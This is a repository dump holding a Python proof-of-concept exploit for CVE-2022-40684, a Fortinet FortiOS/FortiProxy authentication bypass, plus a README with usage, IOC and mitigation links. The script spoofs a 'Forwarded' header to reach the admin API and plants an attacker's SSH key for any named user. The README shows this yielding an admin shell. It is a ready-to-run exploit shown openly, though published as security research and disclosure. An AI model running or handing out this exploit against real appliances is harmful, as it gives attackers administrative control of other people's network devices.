[
  {
    "path": "CVE-2022-40684.py",
    "content": "#!/usr/bin/python3\nimport argparse\nimport json\nimport requests\nimport urllib3\nrequests.packages.urllib3.disable_warnings()\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n\nHEADERS = {\n    'User-Agent': 'Report Runner',\n    'Forwarded': 'for=\"[127.0.0.1]:8888\";by=\"[127.0.0.1]:8888\"'\n}\n\ndef format_key(key_file):\n    with open(key_file) as f:\n        k = f.read().strip()\n\n    return(k)\n\n\ndef add_key(target, username, key_file):\n    key = format_key(key_file)\n    j = {\n        \"ssh-public-key1\": '\\\"' + key + '\\\"'\n    }\n    url = f'https://{target}/api/v2/cmdb/system/admin/{username}'\n    r = requests.put(url, headers=HEADERS, json=j, verify=False)\n    if 'SSH key is good' not in r.text:\n        print(f'[-] {target} is not vulnerable!')\n    else:\n        print(f'[+] SSH key for {username} added successfully!')\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)\n    parser.add_argument('-u', '--username', help='The user to add an SSH key file for', required=True)\n    parser.add_argument('-k', '--key-file', help='The SSH key file', required=True)\n    args = parser.parse_args()\n\n    add_key(args.target, args.username, args.key_file)\n"
  },
  {
    "path": "README.md",
    "content": "# CVE-2022-40684\nPOC for CVE-2022-40684 affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager appliances.\n\n## Technical Analysis\nA technical root cause analysis of the vulnerability can be found on our blog:\nhttps://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684\n\n## Indicators of Compromise\nFor analyizing Fortinet logs for indicators of compromise and how to enable deeper logs check out our IOC blog:\nhttps://www.horizon3.ai/fortinet-iocs-cve-2022-40684/\n\n## Summary\nThis POC abuses the authentication bypass vulnerability to set an SSH key for the specified user.\n\n## Usage\n```plaintext\nroot@kali:~# python3 CVE-2022-40684.py -t 10.0.40.67 --username admin --key-file ~/.ssh/id_rsa.pub\n[+] SSH key for admin added successfully!\nroot@kali:~# ssh admin@10.0.40.67\nfortios_7_2_1 # \nconfig      Configure object.\nget         Get dynamic and system information.\nshow        Show configuration.\ndiagnose    Diagnose facility.\nexecute     Execute static commands.\nalias       Execute alias commands.\nexit        Exit the CLI.\n```\n\n## Mitigations\nUpdate to the latest version or mitigate by following the instructions within the Fortinet PSIRT\n* https://www.fortiguard.com/psirt/FG-IR-22-377\n\n## Follow the Horizon3.ai Attack Team on Twitter for the latest security research:\n*  [Horizon3 Attack Team](https://twitter.com/Horizon3Attack)\n*  [James Horseman](https://twitter.com/JamesHorseman2)\n*  [Zach Hanley](https://twitter.com/hacks_zach)\n\n## Disclaimer\nThis software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.\n\n"
  }
]